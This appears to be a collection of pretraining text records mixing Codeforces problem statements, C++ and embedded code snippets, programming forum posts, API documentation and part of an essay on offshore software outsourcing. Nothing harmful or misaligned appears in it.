{"text": "Kostya is a genial sculptor, he has an idea: to carve a marble sculpture in the shape of a sphere. Kostya has a friend Zahar who works at a career. Zahar knows about Kostya's idea and wants to present him a rectangular parallelepiped of marble from which he can carve the sphere.\n\nZahar has n stones which are rectangular parallelepipeds. The edges sizes of the i-th of them are ai, bi and ci. He can take no more than two stones and present them to Kostya.\n\nIf Zahar takes two stones, he should glue them together on one of the faces in order to get a new piece of rectangular parallelepiped of marble. Thus, it is possible to glue a pair of stones together if and only if two faces on which they are glued together match as rectangles. In such gluing it is allowed to rotate and flip the stones in any way.\n\nHelp Zahar choose such a present so that Kostya can carve a sphere of the maximum possible volume and present it to Zahar.", "source": "cpt_codeforces", "language": "en", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef __HASHMAPSTACK_H_\n#define __HASHMAPSTACK_H_\n\n#include \"HashMap.h\"\n#include \"IHashMap.h\"\n\n/**\n * @brief A hashmap wrapper with the memory allocated on the stack\n * @tparam Key The key used to find elements in the hash map. Must be some sort of integer\n * @tparam Value The type to store in the map. Can be any type\n * @tparam MaxSize The max size of the hashmap, this size will be allocated on the stack\n * @tparam HashFunc The hash function used for the key\n */\ntemplate <typename Key, typename Value, uint32_t MaxSize, class HashFunc = HashFunction<Key>>\n\nclass HashMapStack : public IHashMap<Key, Value> {\n  public:\n    HashMapStack() :\n        m_map(reinterpret_cast<std::tuple<bool, Key, Value>*>(this->m_storage), MaxSize) {}\n\n    ~HashMapStack() override = default;\n\n    bool insert(const Key& key, const Value& obj) override { return m_map.insert(key, obj); }\n\n    bool upsert(const Key& key, const Value& obj) override { return m_map.upsert(key, obj); }\n\n    bool get(const Key& key, Value& obj) const override { return m_map.get(key, obj); }\n\n    std::optional<std::reference_wrapper<Value>> at(const Key& key) override {\n        return m_map.at(key);\n    }\n\n    std::optional<std::reference_wrapper<const Value>> at(const Key& key) const override {\n        return m_map.at(key);\n    }\n\n    bool forEach(HashMapForEachCallback<const Key&, Value&> callback, void* context) override {\n        return m_map.forEach(callback, context);\n    }\n\n    bool forEach(HashMapForEachCallback<const Key&, const Value&> callback,\n                 void* context) const override {\n        return m_map.forEach(callback, context);\n    }\n\n    bool remove(const Key& key) override { return m_map.remove(key); }\n\n    void clear() override { m_map.clear(); }\n\n    bool isFull() const override { return m_map.isFull(); }\n\n    bool isEmpty() const override { return m_map.isEmpty(); }\n\n    uint32_t getMaxSize() const override { return m_map.getMaxSize(); }\n\n    uint32_t getUsedSpace() const override { return m_map.getUsedSpace(); }\n\n    uint32_t getFreeSpace() const override { return m_map.getFreeSpace(); }\n\n  private:\n    // Using aligned storage for placement new usage when inserting\n    typename std::aligned_storage<sizeof(std::tuple<bool, Key, Value>),\n                                  alignof(std::tuple<bool, Key, Value>)>::type m_storage[MaxSize];\n\n    HashMap<Key, Value, HashFunc> m_map;\n};\n\n#endif // __HASHMAPSTACK_H_", "source": "cpt_stack_code", "language": "code", "token_count": 615, "token_count_with_eod": 616, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "All cities of Lineland are located on the Ox coordinate axis. Thus, each city is associated with its position xi — a coordinate on the Ox axis. No two cities are located at a single point.\n\nLineland residents love to send letters to each other. A person may send a letter only if the recipient lives in another city (because if they live in the same city, then it is easier to drop in).\n\nStrange but true, the cost of sending the letter is exactly equal to the distance between the sender's city and the recipient's city.\n\nFor each city calculate two values ​​mini and maxi, where mini is the minimum cost of sending a letter from the i-th city to some other city, and maxi is the the maximum cost of sending a letter from the i-th city to some other city", "source": "cpt_codeforces", "language": "en", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The following line of code:\nNSLog(@\"%f, %f\", self.view.frame.size.width, self.view.frame.size.height);\nreturns 768 * 1004 for an iPad device. I have hidden the status bar using\n[[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationSlide];\nviewDidLoad method and have hidden the\nnavigationbar in the\nviewWillAppear method using\nWhat am I missing exactly? I believe it should be returning 1024 rather than 1004.\nviewcontroller is created through the Storyboard and is of a\nModalStoryboardSegue with a Full Screen Presentation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Can we include fluid physics in (Box2D)cocos2d-x? If yes, then how?\nRead this tutorial:\nIt is in flash, so it won’t work with cocos2dx, but it is a good reference and shows you a lot of good ideas. Fluids aren’t that easy to implement. The box2d part isn’t that hard, but the displaying of the fluids is the hard part. It isn’t one of those things that is normally shipped with stuff, otherwise you would see more games with it. There is are some discussions on the cocos2d-iphone forum that might be good for reference.\nAnd if you are into math, here is a really good place to find out how to implement fluids:\nIn the end, your first question is answered with, “how far are you willing to go to get it?”\nThank you Jeffrey.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The probability that on a randomly selected day she will have no messages\nThe random variable X follows Poisson distribution.\nHere, represents the Poisson parameter.\nThe mean of the Poisson parameter is\nThe variance of the Poisson parameter is\nThe formula for the probability of Poisson distribution can be expressed as follows,\nThe number of messages follows Poisson distribution.\nThe value of is\nA statistics professor receives an average of five e-mail messages per day from students.\nThe mean of the message is 5.\nThe probability that on a randomly selected day she will have no messages can be obtained as follows,\n1. Learn more about normal distribution brainly.com/question/12698949\n2. Learn more about standard normal distribution brainly.com/question/13006989\n3. Learn more about confidence interval of meanhttps://brainly.com/question/12986589\nKeywords: statistics professor, receives, average, five e-mail, message, students, messages per day, Poisson distribution, probability, randomly selected, no message, parameter, probability formula, number of message.\ndivide both side by four, subtract 1 from both sides, divide both side by p answer x=15/p", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 264, "token_count_with_eod": 265, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "JDK-8003228 fixed a problem on OS X with filenames containing non-ASCII characters. For instance, such files would not show up in file chooser dialogs under certain circumstances (launching via webstart or double-clicked .jars, or from the Terminal with LANG=C). Post-8003228, the sun.jnu.encoding property is always set to UTF-8 on Mac OS X.\nThe problem remains that once the file is loaded, non-ASCII characters *contained* in files do not display correctly. This is due to the \"file.encoding\" property being set to US-ASCII for apps launched by double-clicking a .jar file.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**************************************************************************/\n/*                                                                        */\n/*       Copyright (c) Microsoft Corporation. All rights reserved.        */\n/*                                                                        */\n/*       This software is licensed under the Microsoft Software License   */\n/*       Terms for Microsoft Azure RTOS. Full text of the license can be  */\n/*       found in the LICENSE file at https://aka.ms/AzureRTOS_EULA       */\n/*       and in the root directory of this software.                      */\n/*                                                                        */\n/**************************************************************************/\n\n#include \"nx_api.h\"\n\n/* Device certificate.  */\n#ifndef DEVICE_CERT\n#define DEVICE_CERT                                 {0x00}\n#endif /* DEVICE_CERT */\n\n/* Device Private Key.  */\n#ifndef DEVICE_PRIVATE_KEY\n#define DEVICE_PRIVATE_KEY                          {0x00}\n#endif /* DEVICE_PRIVATE_KEY */\n\nconst UCHAR sample_device_cert_ptr[] = DEVICE_CERT;\nconst UINT sample_device_cert_len = sizeof(sample_device_cert_ptr);\nconst UCHAR sample_device_private_key_ptr[] = DEVICE_PRIVATE_KEY;\nconst UINT sample_device_private_key_len = sizeof(sample_device_private_key_ptr);", "source": "cpt_stack_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I don't think saying it was invented by really, really powerful people would make as much sense as saying it was a really, really good idea. And goodly people would go to lengths to prevent misunderstandings and to prevent suffering to others.\nThis can be solved by having companies/settlements/kingdom/people be able to flag ownership of goods. These goods cannot be sold or traded as long as they are owned by that group/person(could be a contract). If the contract is terminated, they have X amount of time to return to items to a drop location, or they become open for attack by any party hired by the owner. This gear cannot be destroyed by the game death mechanic, it is preserved on the body along with the random items, and until everything is returned(if they are keeping things in storage) they are still open for attack. It also gives something to...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This program is a checkers game. It includes a fully functioning checkers game. You can move any of the pieces, and jumping a piece removes that piece from the board. If a piece gets all the way to the final row on the other side of the board, that piece is kinged and can move backwards as well as forwards.\nNote that there is no enforcement of turns in this game, and the order of play is up to the user. All pieces can be moved at any time, assuming that the movement is a valid move.\nThis program displays dynamic animation of checkers pieces. There is smooth animation of a piece moving from square to square, and a similar animation when a piece takes another piece. There is also an animation when a piece is kinged, including a rotating 'crown' around the piece that was kinged.\nFigure 1: Game start\nFigure 2: Piece selected\nFigure 3: After first couple moves\nFigure 4: Kinged piece\nFigure 5: King selected", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Due on [url removed, login to view] 2013. (Use Visual Studio 2010 express or DEV C++)\nWrite a program that uses C++ STL stacks to evaluate a postfix expression.\nThe program should evaluate the binary operators (*, /,+,-, and %).\nThe program should read the expression in postfix notation.\n(2+3) * (5-1) = 20\n2+(3*5) – 1 = 16\nNOTE: Please only SIMPLE code, no advanced techniques\n27 freelancers estão ofertando em média $22 para esse trabalho\nConsider it done! Have done this before, have written postfix programs in C++. I have 10 years of programming experience. It's an easy job I am willing to work on it.\nDear Sir, I am C++ Professional Software Developer, I am Linux Advanced Developer, I am Database Developer and designer. I can Handle your job and do everything extremely Grate. Regards,\nHi, I have 5 years of programming experience. I can do this task in c++ . I am very good in algorithms and data structures.I am IIT delhi graduate. Thanks, Ashish", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 252, "token_count_with_eod": 253, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are $$$n$$$ people in a horizontal line, each looking either to the left or the right. Each person counts the number of people in the direction they are looking. The value of the line is the sum of each person's count.\n\nFor example, in the arrangement LRRLL, where L stands for a person looking left and R stands for a person looking right, the counts for each person are $$$[0, 3, 2, 3, 4]$$$, and the value is $$$0+3+2+3+4=12$$$.\n\nYou are given the initial arrangement of people in the line. For each $$$k$$$ from $$$1$$$ to $$$n$$$, determine the maximum value of the line if you can change the direction of at most $$$k$$$ people.", "source": "cpt_codeforces", "language": "en", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Internet Explorer Collection: Run Multiple IE Versions Simultaneously\nOne big limitation in Internet Explorer is that we can't run different IE versions on a single system. Its a big problem mainly for webmasters. They design a website but they can't make sure whether the site will look OK in all IE version or not? It might look perfect in IE7 but there are big chances that it might look broken in IE6.\nOther browsers like Firefox, Opera, etc allow to run different versions of their browsers on a single system but Microsoft has not made IE in such manner.\nSo here comes the \"Internet Explorer Collection\". Internet Explorer Collection allows to run multiple IE versions on a single system. Even you can run them simultaneously. You need to download the EXE file, install it and at the time of installation, you can select which IE versions do you want to install:\nThe collection contains all IE versions from 1.0 to 8.0:\n- Internet Explorer 1.0 (22.214.171.1248)\n- Internet Explorer 1.5 (0.1.0.10)\n- Internet Explorer 2.01 (126.96.36.199)\n- Internet Explorer 3.0 (3.0.1152)\n- Internet Explorer 4.01 (4.72.3110.0)\n- Internet Explorer 5.01 (5.00.3314.2100)\n- Internet Explorer 5.5 (5.51.4807.2300)\n- Internet Explorer 6.0 (6.00.2800.1106)\n- Internet Explorer 7.0 (7.0.5730.13)\n- Internet Explorer 8.0 (8.0.6001.18372)\nYou can start any desired IE version from Start menu.\nOther similar articles that may interest you\n- Registry Tweaks to Customize Taskbar Navigation and Start Screen Settings in Windows 8.1\n- Download Windows 7 Free Public Beta\n- Hidden Secret Easter Eggs and Daydreams in Google Android Devices\n- How to Restore Private Browsing Confirmation Prompt in Mozilla Firefox?\n- [FIX] Windows Explorer Doesn’t Show Thumbnail Previews in Windows Vista and Later\n- Microsoft Launches “Ultimate PC” Website to Provide “Ultimate Exclusives” for Windows Vista", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 537, "token_count_with_eod": 538, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is a harder version of the problem H with modification queries.\n\nLester and Delbert work at an electronics company. They are currently working on a microchip component serving to connect two independent parts of a large supercomputer.\n\nThe component is built on top of a breadboard — a grid-like base for a microchip. The breadboard has $$$n$$$ rows and $$$m$$$ columns, and each row-column intersection contains a node. Also, on each side of the breadboard there are ports that can be attached to adjacent nodes. Left and right side have $$$n$$$ ports each, and top and bottom side have $$$m$$$ ports each. Each of the ports is connected on the outside to one of the parts bridged by the breadboard, and is colored red or blue respectively.\n\nPorts can be connected by wires going inside the breadboard. However, there are a few rules to follow:\n\n- Each wire should connect a red port with a blue port, and each port should be connected to at most one wire.\n- Each part of the wire should be horizontal or vertical, and turns are only possible at one of the nodes.\n- To avoid interference, wires can not have common parts of non-zero length (but may have common nodes). Also, a wire can not cover the same segment of non-zero length twice.\n\nThe capacity of the breadboard is the largest number of red-blue wire connections that can be made subject to the rules above. For example, the breadboard above has capacity $$$7$$$, and one way to make seven connections is pictured below.\n\nUp to this point statements of both versions are identical. Differences follow below.\n\nAs is common, specifications of the project change a lot during development, so coloring of the ports is not yet fixed. There are $$$q$$$ modifications to process, each of them has the form of \"colors of all ports in a contiguous range along one of the sides are switched (red become blue, and blue become red)\". All modifications are persistent, that is, the previous modifications are not undone before the next one is made.\n\nTo estimate how bad the changes are, Lester and Delbert need to find the breadboard capacity after each change. Help them do this efficiently.", "source": "cpt_codeforces", "language": "en", "token_count": 459, "token_count_with_eod": 460, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Consider a billiard table of rectangular size $$$n \\times m$$$ with four pockets. Let's introduce a coordinate system with the origin at the lower left corner (see the picture).\n\nThere is one ball at the point $$$(x, y)$$$ currently. Max comes to the table and strikes the ball. The ball starts moving along a line that is parallel to one of the axes or that makes a $$$45^{\\circ}$$$ angle with them. We will assume that:\n\n1. the angles between the directions of the ball before and after a collision with a side are equal,\n2. the ball moves indefinitely long, it only stops when it falls into a pocket,\n3. the ball can be considered as a point, it falls into a pocket if and only if its coordinates coincide with one of the pockets,\n4. initially the ball is not in a pocket.\n\nNote that the ball can move along some side, in this case the ball will just fall into the pocket at the end of the side.\n\nYour task is to determine whether the ball will fall into a pocket eventually, and if yes, which of the four pockets it will be.", "source": "cpt_codeforces", "language": "en", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In layoutSection, if inputType.equals(\"dropdown\"),\nUtils.addEntities is passed the result of\nDCInput.getDisplayString(). getDisplayString is\ndocumented to return null if the input stored-value is\nnot matched, which will cause addEntities to throw a\nNPE. The code should probably look more like the\n\"qualdrop_value\" case below it, i.e. change:\nif (displayVal != null)\nI am still working the problem report, but I believe\nthat I've seen this NPE thrown in practice. In any\ncase the code in review.jsp does not gracefully handle\na documented return value.\nBTW the doc comments for getDisplayString (and\ngetStoredString) don't seem to match the code.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A group of $$$n$$$ dancers rehearses a performance for the closing ceremony. The dancers are arranged in a row, they've studied their dancing moves and can't change positions. For some of them, a white dancing suit is already bought, for some of them — a black one, and for the rest the suit will be bought in the future.\n\nOn the day when the suits were to be bought, the director was told that the participants of the olympiad will be happy if the colors of the suits on the scene will form a palindrome. A palindrome is a sequence that is the same when read from left to right and when read from right to left. The director liked the idea, and she wants to buy suits so that the color of the leftmost dancer's suit is the same as the color of the rightmost dancer's suit, the 2nd left is the same as 2nd right, and so on.\n\nThe director knows how many burls it costs to buy a white suit, and how many burls to buy a black suit. You need to find out whether it is possible to buy suits to form a palindrome, and if it's possible, what's the minimal cost of doing so. Remember that dancers can not change positions, and due to bureaucratic reasons it is not allowed to buy new suits for the dancers who already have suits, even if it reduces the overall spending.", "source": "cpt_codeforces", "language": "en", "token_count": 285, "token_count_with_eod": 286, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Again, from https://safenetwork.wiki/en/Vaults_(How_it_works), and again with the proviso that this may not be completely current,\n\"Once consensus is reached, the DataManager passes the chunks to thirty-two DataHolderManagers, who in turn pass the chunks for storage with DataHolders. If a DataHolderManager reports that a DataHolder has gone offline, the DataManager decides, based on rankings assigned to Vaults, into which other Vault to put the chunk of data.\nThis way the chunks of data from the original file are constantly being monitored and supported to ensure the original data can be accessed and decrypted by the original User.\"\nThis raises the question that you are getting at: Sure, if a vault goes offline, then the data is reallocated. But what if only some chunks disappear from that vault? Do the DataHolderManagers recognise this?\nI’m somewhat certain that they would recognise, but am not 100% sure they do, or how they do. This is a question for devs, or forum members that know more than I.\nThe ID by itself gains you nothing. Over time, as you serve data, and behave according to the network rules, your rank increases, and with that increase, your yield in SAFEcoin from GET requests. Switching off resets this (as you now have a new ID), and so your income level will be starting from scratch.\nNo, your previous income isn’t wiped out. Farming nodes earn income according to an algorithm that includes how highly they are ranked. Ranking develops over time. So you are starting from scratch every time you get removed from the network, or you drop your vault and start over. Your income then falls to the lowest level (far below network average).", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Selling On Teespring\nNiche Research Tool For FREE for Redbubble, Teepublic, Merch By Amazon, Teespring, Spreadshirt / POD\nWe’ve collected some of the best tutorials on how you can increase revenue using the teespring platform to design shirts and other items. The content belongs to it’s original poster, please be sure to check out their youtube channel.\nFor this video, we will talk about free niche research tool for your print on demand business such as Redbubble, Teepublic, Merch by Amazon, Teespring, Society6, Spreadshirt, Zazzle, Teechip, and more. The name of the tool is Flying Research. This video will give you a short tutorial on how to use Flying Research.\nFlying Research Tool: https://flyingresearch.net/\nI’m still new at YouTube, but if you want to learn more about the Print-on-demand business. Please don’t forget to like the video and subscribe, it will be appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Comrade Dujikov is busy choosing artists for Timofey's birthday and is recieving calls from Taymyr from Ilia-alpinist.\n\nIlia-alpinist calls every n minutes, i.e. in minutes n, 2n, 3n and so on. Artists come to the comrade every m minutes, i.e. in minutes m, 2m, 3m and so on. The day is z minutes long, i.e. the day consists of minutes 1, 2, ..., z. How many artists should be killed so that there are no artists in the room when Ilia calls? Consider that a call and a talk with an artist take exactly one minute.", "source": "cpt_codeforces", "language": "en", "token_count": 147, "token_count_with_eod": 148, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Function : Backup\nNSFBackupEnd - Deallocate the backup context.\n#include <nsfdb.h> STATUS LNPUBLIC NSFBackupEnd( DBHANDLE hDB, DHANDLE BackupContext, DWORD Options);\nThis function will deallocate the backup context that was obtained from NSFBackupStart once all recorded updates on the file should have been processed.\nParameters : Input : hDB - The handle to the database that whose backup is to be terminated.\nBackupContext - Handle to the backup context that was obtained from NSFBackupStart.\nOptions - Zero to deallocate the backup context once all recorded updates have been processed. See BACKUPEND_xxx for more options.\nOutput : (routine) - Return status from this call -- indicates either success or what the error is. The return codes include:\nNOERROR - Successful.\nERR_NOT_LOCAL - Database is remote.\nERR_NOT_DOING_BACKUP - No backup is underway.\nERR_xxx - Errors returned by lower level functions. Call OSLoadString to interpret the error code for display.\nSample Usage :\n/* Done with the backup */ NSFBackupEnd(hDB, BackupContext, 0);", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 239, "token_count_with_eod": 240, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Checks the card number and expiration date for validity.\nThis method performs several checks on customer information to determine if the card information submitted could be valid. This should be done before submitting an actual transaction for authorization. The tests performed are listed below:\n|Luhn Digit Check||This process checks the digits of the CardNumber to make sure that it could be a valid card number. The mathematical algorithm used to determine validity is outlined in the Visa External Interface Specification: Authorization Record Formats Version 5.8, page 63.|\n|Card Type Check||This process checks the length and the beginning digits of the CardNumber to determine if it is a valid card type. The results of this check is stored are the CardType and CardTypeDescription properties.|\n|Expiration Date Check||The date given in CardExpMonth and CardExpYear is compared to the current system date to make sure that the card is still valid.|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Though arguably somewhat off-topic for CodeProject, this article examines the increasingly heated debate over technology outsourcing—in particular, offshore outsourcing of software development jobs. While this article is sure to provoke a fusillade of flames and impassioned rhetoric, the offshore outsourcing issue must be rationally evaluated by all professional software developers, as it has career implications for almost all of us.\nI am merely a (very) amateur economist and experienced programmer, with free-market tendencies and a fierce libertarian streak. However weak my economics and policy background may be, I feel a pragmatic voice with in-the-trenches knowledge of the software development profession is somewhat lacking thus far in the offshore coding debate. Herein lies my presumptuous attempt to catalyze that voice.\nThough it is not a new concept, the offshore outsourcing of IT work, in particular software development, has received increased attention of late from all corners, including IT industry pundits, analyst firms such as Gartner, corporations in established countries considering or engaging in outsourcing and offshore coding, many of the companies that provide such outsourcing services, as well as rank-and-file IT professionals in established countries, fearing for their jobs as they are \"replaced\" by cheaper labor.\nTypically, the argument from the corporate perspective is thus: Offshore programmers in emerging economies like India, Southeast Asia, China, etc., work for substantially less than their US and European counterparts, while producing code of equal or greater quality. Therefore, in an economic climate that demands cost cutting wherever possible, it makes complete sense to move as much work as possible offshore.\nOf course, those companies that provide offshore outsourcing services, such as Wipro, do nothing to discourage their prospective clients from taking this view. Indeed, no doubt many readers have heard management discussing this very option, as though it presents an ingenious way to get around the unpleasantly long six-month development schedule they have just been presented.\nOn the other side of the table, rank-and-file programmers often (but not always) take a somewhat more pessimistic viewpoint: Cheap laborers from undeveloped countries are stealing domestic programming jobs and gutting the domestic job market, much as they did to the manufacturing sector in the last century.\nGiven this unsettling prospect, a number of professionals adopt a protectionist stance, choosing to view their colleagues in Asia and India as opportunistic thieves and charlatans, tricking gullible management into the Devil’s Bargain that is offshore coding.\nThe canonical example: Manufacturing\nThose who fear offshore coding, often cite the experiences of the manufacturing sector during the latter half of the 20th century. Since this particular discussion is still the subject of heated debate, any \"objective\" analysis which provides any insight is necessarily debatable, however the comparison is so instructive that it’s worth stepping on a few toes to examine the subject.\nBasically, Japan and then China and other emerging economies began to compete with American manufacturers in the latter 20th century, producing goods in greater quantities, at substantially lower cost. These goods included not only Japanese automobiles and consumer electronics, but clothing, toys, consumer products, etc.\nThe cost reductions realized by the foreign manufacturers arose from two advantages: increased efficiency, and cheaper labor. In some cases, unskilled factory workers earned orders of magnitude less than their American counterparts, while working longer hours in largely unregulated working conditions.\nWhile the human rights issue of the treatment of workers is relevant here, the point is this: foreign manufacturers could produce the goods Americans and Europeans needed, at a substantially lower cost. As a result, competitive pressures depressed the American and European manufacturing sectors, with many fearing that the developed world would become utterly dependent upon Japan and the emerging economies of China and Southeast Asia for all its worldly goods.\nOf course, in the end, this did not happen. China is a large and growing manufacturing powerhouse, and Japan is the world’s 2nd largest economy, yet the US is still an economic superpower, with a substantial manufacturing industry of its own, and Japan is only now emerging from 10 years of deflation and stagnation. Thus, we must conclude that those who dismiss offshore coding as a fad, and those who herald it as the end of the world, are equally incorrect.\nWhile comparing the offshore coding trend to the history of offshore manufacturing in this way is instructive, we will discover that significant differences exist, which prevent a simplistic comparison between the two. Nonetheless, the insight gained from the offshore manufacturing trend applies just as well to the offshore coding trend emerging now.\nThough much of the negative press associated with offshore coding focuses on the loss of domestic jobs, the objective economic perspective actually yields two equally important questions:\nFirst, what is the economic impact of replacing domestic programmers with their offshore counterparts?\nSecond, what is the net gain (or loss) realized by the domestic corporations engaging in offshore coding?\nThe @$#!%&* steal our jobs…\nAdam Smith, the father of modern economics, wrote in his seminal work \"The Wealth of Nations\" that (to paraphrase) it is self-evident that it is more efficient and therefore economically better to buy that which one cannot make cheaper oneself. This principle is likely obvious to almost everyone.\nFor example, it is obviously more efficient for most people to buy flour than to grow, cultivate, and grind wheat to produce their own. Similarly, it is far more economical to buy a color TV from Best Buy or JC Penny than to attempt to construct one yourself. In both of these cases, one could probably produce the good oneself, but it would take time and money that could be more efficiently spent elsewhere, in ways that more directly benefit the economy and the individual.\nAccording to Smith, this principle extends from individuals and households to entire countries. That is, if US consumers want cellular phones, and India can produce the same cellular phone for US$ 10 that US companies can produce for US$ 100, it is generally better for the economies of both India and the US if the US consumers purchase the Indian cellular phone.\nThe justifications of this assertion are ample:\nThe benefits to the Indian economy are somewhat obvious, as it benefits from US economic prosperity as US consumers buy more phones. In particular, the example above benefits the Indian people, as it grows the Indian economy, creating jobs, increasing demand (and thus, pay) for skilled workers, which in turn will seek to enjoy their new middle-class lifestyle by spending more in the local economy, paying more taxes, etc.\nFurther, the US economy benefits in this example, in a number of ways.\nFirst, more US consumers will be able to afford the cellular phone, and therefore pay the sales and other consumption taxes on the phone. In this case, the old example of selling 1000 of something for $1 being better than selling 100 of something for $5 is very applicable, particular as it relates to the tax revenue which of course stays within the US and local economies.\nSecond, it forces the US cellular phone manufacturers to increase their efficiency, or close down. A more efficient manufacturer will consume fewer economic resources for equivalent output, (re)gain competitive advantage, reduce costs, and may even increase profitability. The alternative, though somewhat cold-hearted, is also positive, as it frees the resources (including workers) consumed by the inefficient and uncompetitive US cellular phone manufacturer, for use by more efficient and economically beneficial endeavors.\nThis contrived example applies equally well to onshore vs. offshore coding. To contrive another example, if a software company, Evil Empire Inc., can produce its software, World Dominationware, at a cost of US$ 1 million using domestic programmers, or US$ 100,000 using offshore programmers producing software of equal quality, Evil Empire Inc.’s executives have little economic reason to choose the domestic programmers.\nAs a result of this, Evil Empire can sell its software at a lower cost and higher profit, yielding more tax revenue, increased wealth for its shareholders, faster and more significant growth, and thus increased payrolls (though likely not including many programmers).\nThus, the assertion of this section is that Adam Smith is correct, and that his theory applies as much to wheat flour as it does to programming. While the local consequences of offshore coding may be negative (job loss and the ensuing unemployment), these can be overcome (see below), and the net result at the macro level is generally positive for both economies.\nNote, however, that there are exceptions. If a country were populated entirely by programmers who had no other skills, and another country began taking their jobs by offering a cheaper product of equal quality, the country of programmers would likely suffer economically. However, this can hardly be seen as an injustice: if one cannot provide a competitive service (that is, if other countries can provide programming services for less than our hypothetical nation of programmers), one should not be surprised when one’s customers go elsewhere.\nFurther, at the micro level, those employees who lose their jobs are obviously not benefiting, at least initially. Though it may seem cold-hearted, the same maxim in the previous paragraph applies to individuals as well: if one demands more for the same service than someone else, it should come as no surprise when the cheaper price prevails.\nIn much the same way, imagine a junior programmer applying for an entry-level programming position, and demanding US$ 120,000/year. Is it a profound injustice when the employer selects a different, equally qualified candidate asking for US$ 40,000/year?\nThis issue of micro-level consequences and the associated solutions will be examined further in the following sections.\nOffshore coding and the blessed bottom line\nThe previous section discussed the economic impacts of offshore coding on the host and client countries and their citizens, however the discussion was based on the assumption that domestic and offshore programmers produced identical (or at least equivalent) products, differing only in cost.\nAs most programmers are likely aware, this may apply to the manufacture of children’s toys and toasters, but software development is much more complex, therefore assuming equivalence of output is a convenient theoretical abstraction that has very little relevance in practice. In this section, I present a more pragmatic discussion of the costs and benefits of offshore coding, grounded at least tenuously in reality.\nCorporations, executives, and other scourges\nAs much as we may distrust and despise money-hungry, soulless mega-corporations and the money-hungry, soulless executives who run them, we must acknowledge one thing: corporations (and their leaders) have a moral and legal obligation to make money for their shareholders. While this does not condone illegal activities ala Enron, it does condone any legal activity that stands to benefit the corporation and thus its shareholders.\nTherefore, before this discussion really begins, it must be acknowledged that corporations do not have an inherent duty to their employees to employ them, to refrain from replacing them with machines or cheaper employees, or to subsidize inefficient workers. While many will argue that corporations have a social obligation to the communities in which they operate (and to an extent they do), this does not forbid the lawful use of more efficient resources to perform the same tasks.\nThat said, an exception to this rule arises when one considers unions. However, a corporation’s obligations to its unions are not inherent, but rather contractual. Similarly, if I could convince my employer to sign a document obligating her to employ me for the duration of my life, and barring her from ever questioning my efficiency or value, she would then have an obligation to do so. Of course, more likely she will fire me and find an employee who is not so unreasonable, which is also her right.\nHaving established that corporations serve their shareholders and not their employees, let us now examine the practical costs and benefits of outsourcing.\nIn a free-market economy, the market decides who wins and who loses. While factors like quality, cost, and availability influence market success, so do less tangible factors like public perception and reputation.\nWhile offshore coding may make great financial sense, it may cost more in public opinion than it saves in dollars. In general, the populous does not like to lose jobs to foreigners, particularly when the foreigners are paid substantially less and thus undercut domestic labor substantially. This may result in a serious back-lash in the public’s opinion of the domestic corporation doing the outsourcing.\nAs an example, consider the (mild) outcry over the state of New Jersey’s decision to outsource welfare processing to a call center in India. From a fiscal perspective, this made complete sense, particularly for a cash-strapped state suffering from serious budget deficits. Unfortunately, if the public resents the decision enough to create a significant outcry, they may also vote (with their dollars or their votes) to punish the perpetrators.\nThus, a corporation considering offshore coding must consider the sensitivities of its customers, the public at large, and the domestic governments who are sometimes hostile to corporate interests. This may be a significant concern for corporations that deal directly and visibly with the public, and virtually no concern for corporations with a very low profile.\nClosely related to the issue of public opinion is that of employee morale. While we’ve established that corporations do not owe continued employment to their employees, corporations do have a selfish interest in keeping employee morale high. Not only does high morale improve productivity, it reduces turnover, and likely increases access to qualified workers interested in working in a positive environment.\nThus, when a corporation announces it will replace 10% of its domestic workforce with offshore labor at 1/4th the cost, morale likely takes a hit as employees realize that the concept of a corporate/employee relationship as being familial or custodial is largely fictional, and a frequent casualty of budget cuts and financial pressures. As a result, their loyalty to the corporation may wane, increasing turnover and decreasing productivity. Thus, the cost savings realized by moving the 10% of the workforce offshore, may be countered by a cost increase from the other 90%, as they reduce output and increase turnover, and a loss in competitive advantage as highly qualified workers go elsewhere for their interviews.\nProgrammers as cogs\nDuring the industrial revolution, as manufacturing grew into an economic 